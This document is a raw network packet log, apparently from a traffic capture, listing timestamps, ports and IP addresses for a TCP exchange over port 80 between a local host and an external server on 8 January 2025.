Jan 8, 2025 16:18:19.354525089 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.354537964 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.354656935 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.354732990 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.354753971 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.354863882 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.354986906 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.355047941 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.355096102 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.355139017 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.355252981 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.355334044 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.355487108 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.355489016 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.355607986 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.355680943 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.355710030 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.355825901 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.355864048 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.355914116 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.356030941 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.356045961 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.356162071 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.356278896 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.356292963 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.356421947 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.356506109 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.356580973 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.356615067 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.356738091 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.356762886 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.356878042 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.356973886 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.357059956 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.357088089 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.357202053 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.357316971 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.357321978 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.357439041 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.357597113 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.357598066 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.357739925 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.357748985 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.357803106 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.357913017 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.357948065 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.358067036 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.358140945 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.358243942 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.358258963 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.358381033 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.358467102 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.358496904 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.358604908 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.358620882 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.358740091 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.358840942 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.358906984 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.358954906 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.359081984 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.359194040 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.359195948 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.359302044 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.359391928 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.359428883 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.359554052 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.359637022 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.359663963 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.359778881 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.359890938 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.359906912 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.360018969 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.360122919 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.360183001 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.360295057 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.360323906 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.360368967 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.360481977 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.360524893 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.360644102 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.360711098 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.360816956 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.360836029 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.360946894 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.360975027 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.361083031 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.361187935 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.361222982 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.361339092 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.361419916 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.361509085 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.361530066 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.361651897 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.361671925 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.361788034 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.361882925 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.361987114 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.362001896 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.362113953 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.362236023 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.362238884 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.362348080 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.362447023 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.362472057 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.362585068 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.362730026 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.362771034 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.362818003 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.362886906 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.362937927 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.363059044 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.363147020 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.363172054 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.363286972 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.363380909 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.363399982 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.363519907 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.363589048 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.363634109 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.363756895 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.363848925 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.363869905 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.363986969 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.364048958 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.364106894 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.364218950 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.364335060 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.364341974 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.364455938 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.364537001 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.364567995 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.364687920 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.364762068 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.364820957 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.364933014 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.365042925 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.365047932 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.365164995 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.365271091 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.365278006 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.365389109 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.365418911 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.365528107 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.365619898 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.365695000 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.365741014 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.365863085 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.365928888 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.365973949 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.366101980 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.366149902 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.366295099 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.366345882 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.366426945 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.366449118 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.366568089 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.366643906 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.366683006 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.366800070 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.366911888 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.366914988 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.367032051 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.367106915 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.367152929 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.367259026 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.367384911 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.367407084 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.367512941 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.367615938 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.367633104 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.367743015 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.367852926 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.367892027 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.368032932 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.561650038 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.561713934 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.561811924 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.561893940 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.561944008 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.562009096 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.562110901 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.562128067 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.562246084 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.562280893 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.562387943 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.562472105 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.562589884 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.562592030 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.562736988 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.562763929 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.562838078 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.562942982 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.563009977 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.563059092 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.563186884 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.563292980 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.563335896 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.563452959 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.563478947 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.563554049 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.563671112 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.563762903 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.563812971 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.563899040 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.564023972 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.564186096 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.564297915 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.564599991 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.564601898 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.564646006 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.564768076 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.564882040 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.564997911 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.565038919 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.565135956 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.565150023 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.565287113 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.565344095 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.565352917 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.565468073 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.565517902 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.565625906 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.565704107 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.565819979 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.565856934 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.565968037 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.566023111 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.566050053 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.566170931 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.566210985 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.566323042 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.566427946 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.566461086 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.566565990 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.566643000 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.566728115 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.566755056 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.566920042 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.566993952 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.566996098 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.567109108 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.567219973 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.567222118 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.567342043 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.567394972 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.567507029 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.567572117 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.567687035 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.567693949 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.567806959 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.567931890 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.567962885 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.568056107 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.568070889 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.568175077 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.568270922 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.568393946 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.568403006 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.568517923 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.568573952 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.568675995 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.568742990 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.568840981 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.568865061 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.568984985 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.569068909 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.569096088 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.569216013 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.569222927 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.569319010 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.569454908 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.569560051 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.569771051 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.569797993 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.569915056 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.570034027 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.570118904 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.570149899 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.570215940 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.570261955 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.570383072 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.570498943 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.570537090 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.570638895 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.570647001 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.570754051 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.570851088 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.570900917 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.570998907 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.571085930 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.571201086 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.571238995 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.571336985 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.571418047 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.571434021 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.571552038 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.571616888 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.571666002 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.571784973 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.571810961 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.571922064 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.572019100 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.572069883 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.572176933 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.572249889 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.572366953 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.572370052 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.572487116 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.572604895 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.572657108 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.572766066 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.572822094 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.572835922 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.572956085 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.572994947 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.573095083 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.573185921 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.573306084 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.573345900 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.573453903 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.573540926 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.573575974 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.573673964 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.573771954 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.573888063 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.574004889 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.574121952 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.574239969 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.574357986 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.574424028 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.574471951 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.574590921 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.574594021 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.574695110 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.574712038 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.574825048 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.574940920 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.574945927 CET	49720	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:19.575054884 CET	80	49720	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:19.575071096 CET	49720	80	192.168.11.20	185.125.51.5
